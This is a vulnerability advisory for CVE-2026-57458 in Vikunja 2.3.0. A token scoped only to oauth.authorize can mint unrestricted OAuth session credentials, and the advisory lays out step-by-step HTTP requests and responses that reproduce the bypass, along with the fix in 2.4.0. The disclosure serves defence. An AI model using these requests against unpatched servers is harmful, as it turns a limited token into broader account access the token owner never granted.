CVE-2026-57458: Vikunja: Scoped API token can mint unrestricted OAuth session credentials

Published Oct 9, 2026
·
Updated

Summary

A scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials.

A token limited to:

json {"oauth":["authorize"]}

can call /api/v1/oauth/authorize, receive an OAuth authorization code, exchange it at /api/v1/oauth/token, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions.

Affected Component

Scoped API tokens OAuth authorization flow POST /api/v1/oauth/authorize POST /api/v1/oauth/token

Impact

A narrowly scoped API token with only oauth.authorize can be converted into normal session credentials for the same user.

This bypasses the intended API-token permission boundary. An attacker who obtains or is delegated such a limited token can mint a normal JWT and refresh token, then access routes outside the original token scope.

Runtime validation showed that the original scoped token could not access GET /api/v1/user, but the minted OAuth access token could access:

GET /api/v1/user GET /api/v1/projects

No cross-user access, privilege escalation to admin, or access to another account was validated.

Technical Details

The issue is caused by an authentication-context mismatch between scoped API-token authentication and OAuth authorization-code issuance.

The vulnerable chain is:

1. A scoped API token authenticates the request and sets the current user context. 2. /api/v1/oauth/authorize accepts that API-token-authenticated user as a valid OAuth resource owner. 3. The OAuth authorization endpoint issues an authorization code. 4. /api/v1/oauth/token exchanges that code for a normal bearer JWT and refresh token. 5. The resulting credentials are not bound to the original API-token permissions.

Relevant code paths:

pkg/routes/routes.go

registers /api/v1/oauth/authorize in an authenticated API route group that also accepts scoped API tokens

pkg/models/apiroutes.go

exposes non-CRUD subroutes as API-token permissions exposes the OAuth authorization endpoint under the oauth permission group

pkg/routes/apitokens.go

stores apitoken and apiuser in the request context during API-token authentication

pkg/user/user.go

treats apiuser as an authenticated current user

pkg/modules/auth/oauth2server/authorize.go

uses the current user and issues an OAuth authorization code

pkg/modules/auth/oauth2server/token.go

exchanges the authorization code for a normal JWT and refresh token

Steps to Reproduce

1. Create a scoped API token

Create an API token with only the following permission:

json {"oauth":["authorize"]}

Observed response:

http 201 Created

The returned token had only the oauth.authorize permission.

2. Negative control: direct access with scoped token fails

Request:

http GET /api/v1/user Authorization: Bearer <scoped-api-token>

Observed response:

http 401 Unauthorized

Response body:

json {"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"}

This confirms that the scoped token cannot directly access the normal user route.

3. Obtain an OAuth authorization code with the scoped token

Request:

http POST /api/v1/oauth/authorize Authorization: Bearer <scoped-api-token> Content-Type: application/json

Body:

json { "responsetype": "code", "clientid": "vikunja", "redirecturi": "vikunja-flutter://callback", "codechallenge": "<pkce-s256-challenge>", "codechallengemethod": "S256" }

Observed response:

http 200 OK

Response body:

json { "code": "<redacted>", "redirecturi": "vikunja-flutter://callback", "state": "" }

The scoped API token successfully obtained an OAuth authorization code.

4. Exchange the authorization code for session credentials

Request:

http POST /api/v1/oauth/token Content-Type: application/json

Body:

json { "granttype": "authorizationcode", "code": "<redacted>", "clientid": "vikunja", "redirecturi": "vikunja-flutter://callback", "codeverifier": "<original-pkce-verifier>" }

Observed response:

http 200 OK

Response body:

json { "accesstoken": "<redacted>", "tokentype": "bearer", "expiresin": 600, "refreshtoken": "<redacted>" }

The authorization code was exchanged for a normal access token and refresh token.

5. Use the minted access token on normal routes

Request:

http GET /api/v1/user Authorization: Bearer <minted-oauth-access-token>

Observed response:

http 200 OK

Additional scope check:

http GET /api/v1/projects Authorization: Bearer <minted-oauth-access-token>

Observed response:

http 200 OK

The minted OAuth access token could access normal non-OAuth routes that the original scoped API token could not access.

Expected Behavior

A scoped API token should not be able to obtain credentials with broader permissions than its declared scope.

/api/v1/oauth/authorize should require a normal user session or another authentication context suitable for OAuth authorization-code issuance. API-token-authenticated requests should not be accepted for minting OAuth authorization codes.

Actual Behavior

A token scoped only to oauth.authorize can obtain an OAuth authorization code and exchange it for a normal JWT plus refresh token.

The minted credentials are not restricted by the original API-token permissions.

Other sources

Vikunja is an open-source self-hosted task management platform. In version 2.3.0, a scoped API token limited to the oauth.authorize permission can call POST /api/v1/oauth/authorize, obtain an OAuth authorization code, and exchange the code at POST /api/v1/oauth/token for a normal bearer JSON Web Token (JWT) and refresh token. The resulting credentials are not restricted by the original API token's permissions, allowing access to routes outside its declared scope for the same user. Version 2.4.0 fixes the vulnerability.

— MITRE

Affected Software

1 affected componentFixes available
go/code.vikunja.io/api=2.3.0
2.4.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/code.vikunja.io/api to a version that resolves this vulnerability.

    Fixed in 2.4.0
  2. Upgrade

    Upgrade Vikunja to a version that resolves this vulnerability.

    Fixed in 2.4.0

Event History

Oct 9, 2026
Advisory Published
via GitHub·08:40 PM
Data Sourced
via GitHub·08:40 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·08:46 PM
Data Sourced
via MITRE·08:46 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What access does an attacker need to exploit this issue?

The attacker needs a scoped API token for a user that includes the oauth.authorize permission. They can use that token to call the OAuth authorization endpoint, exchange the resulting code at the token endpoint, and receive a normal bearer JWT and refresh token for that same user.

2

What can the minted credentials access beyond the original token scope?

Runtime validation showed that the original scoped token could not access GET /api/v1/user, while the OAuth-minted access token could access GET /api/v1/user and GET /api/v1/projects. The resulting JWT and refresh token are not restricted by the source API token's declared permissions.

3

Does this allow access to other users' accounts or administrator privileges?

No cross-user access or escalation to administrator privileges was validated. The demonstrated impact is conversion of a limited token into unrestricted normal-session credentials for the same user.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203